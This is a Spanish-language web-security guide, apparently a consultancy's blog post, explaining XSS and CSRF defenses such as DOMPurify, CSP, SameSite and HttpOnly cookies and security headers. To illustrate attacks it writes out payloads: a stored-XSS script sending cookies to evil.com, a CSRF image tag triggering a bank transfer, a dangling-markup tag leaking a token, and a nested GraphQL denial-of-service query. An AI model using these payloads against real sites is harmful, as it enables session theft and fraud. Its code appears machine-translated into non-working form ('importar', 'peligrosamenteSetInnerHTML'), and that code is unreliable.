CSRF y XSS: los gemelos de la destrucción web
Las dos vulnerabilidades más comunes en las aplicaciones web. Una guía técnica sobre cookies de SameSite, encabezados HttpOnly y desinfección de entradas.
“Sólo vendemos camisetas. ¿Por qué alguien querría hackearnos?” Ésta es la mentalidad ingenua del ingeniero junior. Los atacantes no te piratean porque seas “importante”. Te piratean porque eres vulnerable. Ejecutan robots automatizados que escanean millones de dominios en busca de vulnerabilidades comunes. Si su tienda de camisetas tiene una vulnerabilidad XSS, instalarán un skimmer de tarjetas de crédito (Magecart) y robarán 10.000 números de tarjetas de crédito. Irás a la quiebra.
En Maison Code Paris, diseñamos sistemas transaccionales. La seguridad no es una “característica”. Es el Sótano. Esta guía cubre las dos vulnerabilidades más letales: XSS y CSRF.
Por qué Maison Code habla de esto
En Maison Code Paris, actuamos como la conciencia arquitectónica de nuestros clientes. A menudo heredamos stacks “modernos” construidos sin una comprensión fundamental de la escala.
Discutimos este tema porque representa un punto de inflexión crítico en la madurez de la ingeniería. Implementarlo correctamente diferencia un MVP frágil de una plataforma resistente de nivel empresarial.
1. XSS (Cross-Site Scripting): robo de datos
XSS ocurre cuando un atacante puede ejecutar JavaScript en el navegador de su usuario.
Si pueden ejecutar JS, pueden leer document.cookie.
Si pueden leer las cookies, son propietarios de la cuenta.
El vector de ataque
Tipo: XSS almacenado.
- El atacante publica una reseña del producto:
"¡Excelente camiseta! <script>fetch('http://evil.com?c='+document.cookie)</script>" - La base de datos almacena esta cadena.
- El Frontend lo renderiza.
- Cada cliente que ve la página del producto ejecuta el script a ciegas.
- Se envían 1000 ID de sesión a
evil.com.
La defensa: codificación de salida consciente del contexto
Regla: Nunca confíes en la base de datos.
Los marcos modernos (React/Vue) lo protegen de forma predeterminada.
Ellos “escapan” de las variables.
< se convierte en <. El navegador muestra texto, no código.
La zona de peligro: peligrosamenteSetInnerHTML.
React te permite eludir la protección.
Casos de uso: contenido CMS, editores de texto enriquecido.
Solución: DOMPurify.
Debes desinfectar el HTML antes de renderizarlo.
importar DOMPurify desde 'dompurify';
función Descripción del producto({ html }) {
const limpio = DOMPurify.sanitize(html);
return <div peligrosamenteSetInnerHTML={{ __html: clean }} />;
}
DOMPurify elimina los enlaces <script>, <iframe>, onload, javascript:. Deja <b> y <p>.
La defensa: CSP (Política de seguridad de contenidos)
(Consulte la Guía CSP). Incluso si el atacante inyecta un script, CSP impide que el navegador lo ejecute a menos que tenga un Nonce válido. Defensa en profundidad.
2. CSRF (falsificación de solicitudes entre sitios): acción de robo
CSRF ocurre cuando un atacante engaña al usuario para que realice una acción que no pretendía.
El vector de ataque
- El usuario inicia sesión en
bank.com. La cookie de sesión está configurada. - El usuario visita
evil.com. evil.comtiene una imagen invisible:<img src="https://bank.com/transfer?to=hacker&amount=1000" />- El navegador ve que la URL implica “bank.com”. Adjunta la cookie de sesión válida automáticamente.
bank.comrecibe una solicitud válida (con cookie) y transfiere el dinero.
La defensa: cookies del mismo sitio
Esto actualiza la política de cookies del navegador.
Establecer cookie: session_id=xyz; SameSite=Lax; Seguro; HttpOnly;
- Estricto: la cookie se envía solo para solicitudes propias. (Mejor seguridad).
- Lax: la cookie no se envía en subsolicitudes (imágenes/iframes), pero se envía en la navegación de nivel superior. (Buen Saldo).
- Ninguno: La cookie se envía a todas partes. (Inseguro).
Al configurar SameSite=Lax, la etiqueta <img> de evil.com no llevará la cookie. La solicitud falla (401 No autorizado).
La defensa: tokens anti-CSRF
Para mutaciones (POST/PUT), requerimos una verificación secundaria.
- El servidor envía un
csrf_tokenen una metaetiqueta. - JavaScript lo lee y lo envía en un encabezado
X-CSRF-Token. - El servidor valida: ¿el encabezado coincide con la sesión?
El atacante no puede leer la metaetiqueta (política de origen cruzado). El atacante no puede falsificar el encabezado.
3. Almacenamiento: Almacenamiento local frente a cookies HttpOnly
¿Dónde se almacena el JWT (Json Web Token)?
Almacenamiento local:
- Fácil de usar (
localStorage.getItem('token')). - Vulnerable a XSS. Si el atacante ejecuta JS, puede leer todo el LocalStorage.
Cookie HTTPOnly:
- Más difícil de usar (el servidor debe configurarlo).
- Inmune al robo de XSS. JavaScript no puede leer cookies HttpOnly.
document.cookiedevuelve una cadena vacía.
Recomendación: Utilice siempre cookies HttpOnly para ID de sesión confidenciales. Incluso si tiene una vulnerabilidad XSS, el atacante no puede extraer la clave. Solo pueden realizar solicitudes (que detiene la protección CSRF).
4. La visión del escéptico
“React es seguro por defecto”. FALSO. React protege la capa de vista. No protege:
javascript:URL (<a href={userLink}>). SiuserLinkesjavascript:alert(1), al hacer clic en él se ejecuta el código.- Inyección de renderizado del lado del servidor (SSR).
- Ataques a la cadena de suministro (paquetes npm maliciosos).
“No necesito protección CSRF porque uso JWT en los encabezados”. Verdadero. Si no utiliza cookies, es inmune a CSRF. Pero ahora está almacenando JWT en LocalStorage, por lo que es vulnerable a XSS. Elija su veneno. (Elegimos Cookies + Protección CSRF).
5. Cabeceras de seguridad (casco)
No envíe respuestas HTTP desnudas.
Utilice la configuración helmet (Node.js) o headers (Next.js) para configurar:
X-Content-Type-Options: nosniff(Evita el rastreo MIME).X-Frame-Options: DENY(Evita el Clickjacking).Política-de-referente: origen-estricto-cuando-origen-cruzado.Seguridad-de-transporte-estricta(HSTS): Aplicar HTTPS.
7. Inyección GraphQL (La nueva inyección SQL)
Los desarrolladores creen que GraphQL es seguro porque está escrito.
Equivocado.
Si usa GraphQL sin Limitación de profundidad de consulta, un atacante puede realizar DDOS con una sola solicitud.
consulta {usuario {amigos {usuario {amigos {usuario {amigos...} } } } } }
Esta consulta anidada explota su base de datos.
Defensa: Utilice graphql-profundidad-límite. Restringir la profundidad a 5.
Además, tenga cuidado con los ataques por lotes.
Si permite consultas por lotes, un atacante puede forzar 10.000 contraseñas en una solicitud HTTP.
Defensa: deshabilite el procesamiento por lotes en puntos finales públicos.
8. JWT: La mentira de los “apátridas”
Todo el mundo usa JWT porque “las sesiones no escalan”. Esto es mentira. Redis escala a millones de operaciones por segundo. El problema con JWT es la Revocación. Si un atacante roba un JWT, será el administrador durante 1 hora. No puedes cerrar sesión. Tienes que rotar la clave de firma, que cierra la sesión de todos. Enfoque híbrido: almacene el JWT en una “Lista de permitidos” de Redis. Consulte Redis en cada solicitud. Ahora tienes un “JWT con estado”. Anula el propósito, pero es seguro. O simplemente utilice cookies de sesión. Trabajaron para Google durante 20 años.
9. Riesgos de adquisición de subdominios
¿Su sitio tiene blog.maisoncode.paris apuntando a un host de WordPress que canceló hace 3 años?
Si ese registro CNAME todavía existe, un atacante puede registrar un blog en ese host y reclamar su subdominio.
Como están en *.maisoncode.paris, pueden leer sus cookies (si dominio=.maisoncode.paris).
Defensa: Audite sus registros DNS. Elimina cualquier CNAME que apunte a un servicio por el que ya no pagas.
10. Inyección de marcado colgante
Si un atacante puede inyectar una etiqueta de imagen pero no cerrarla:
<img src='https://evil.com/log?
Se comen el resto de tu HTML hasta la siguiente cita.
<img src='https://evil.com/log? <formulario><valor de entrada="SECRET_TOKEN"> ...
El navegador envía su token secreto a evil.com como parte de la consulta de URL.
Defensa: Las restricciones de CSP img-src impiden que el navegador extraiga datos a dominios no autorizados. Pero la “Política de seguridad de contenido” funciona mejor cuando es estricta.
12. Defensas contra el clickjacking en profundidad
X-Frame-Options: DENY es la forma antigua.
Content-Security-Policy: frame-ancestors 'none' es la nueva forma.
¿Por qué utilizar CSP? Porque admite permitir socios específicos.
antepasados del marco https://partner.com.
Si no configura esto, puedo incrustar su pago en un iframe de píxeles perfectos en free-iphone.com.
El usuario cree que está pagando.
Capturo sus clics del mouse (usando superposiciones transparentes) para redirigir el botón “Comprar” a mi producto.
Es insidioso. Bloquearlo globalmente.
12. Mismo sitio: laxo versus estricto (análisis profundo)
“Lax” es el valor predeterminado en Chrome.
Permite cookies en la navegación de nivel superior (al hacer clic en un enlace de Google a su sitio).
“Estricto” bloquea las cookies en la navegación de nivel superior.
Si configura SameSite=Strict y un usuario hace clic en un enlace en un correo electrónico “Ver pedido”, llegará Desconectado.
Esta es una mala experiencia de usuario.
Estrategia:
- Cookie de sesión:
Permitida (Lax). - Token de acción sensible (Eliminar cuenta):
Requerido (Estricto). Puedes tener dos fichas. Uno para leer, otro para escribir.
13. ¿Por qué Código Maison?
En Maison Code, realizamos auditorías para el OWASP Top 10 de forma predeterminada.
No asumimos que React sea seguro.
Auditamos su peligrosamenteSetInnerHTML.
Configuramos tus cookies SameSite.
Configuramos tu CSP.
Creemos que una Experiencia de Lujo incluye el lujo de la Seguridad.
Sus clientes no deberían tener que preocuparse por el robo de tarjetas de crédito.
14. Conclusión
La seguridad es mayoritariamente invisible. Las funciones te ayudan a promocionarte. La seguridad evita que te despidan. Es un trabajo ingrato, hasta el día en que salva a la empresa. Siéntete orgulloso del escudo invisible que construyes.
¿Tu aplicación tiene fugas?
Realizamos pruebas de penetración y auditorías de código para aplicaciones de alto riesgo. Contrate a nuestros arquitectos.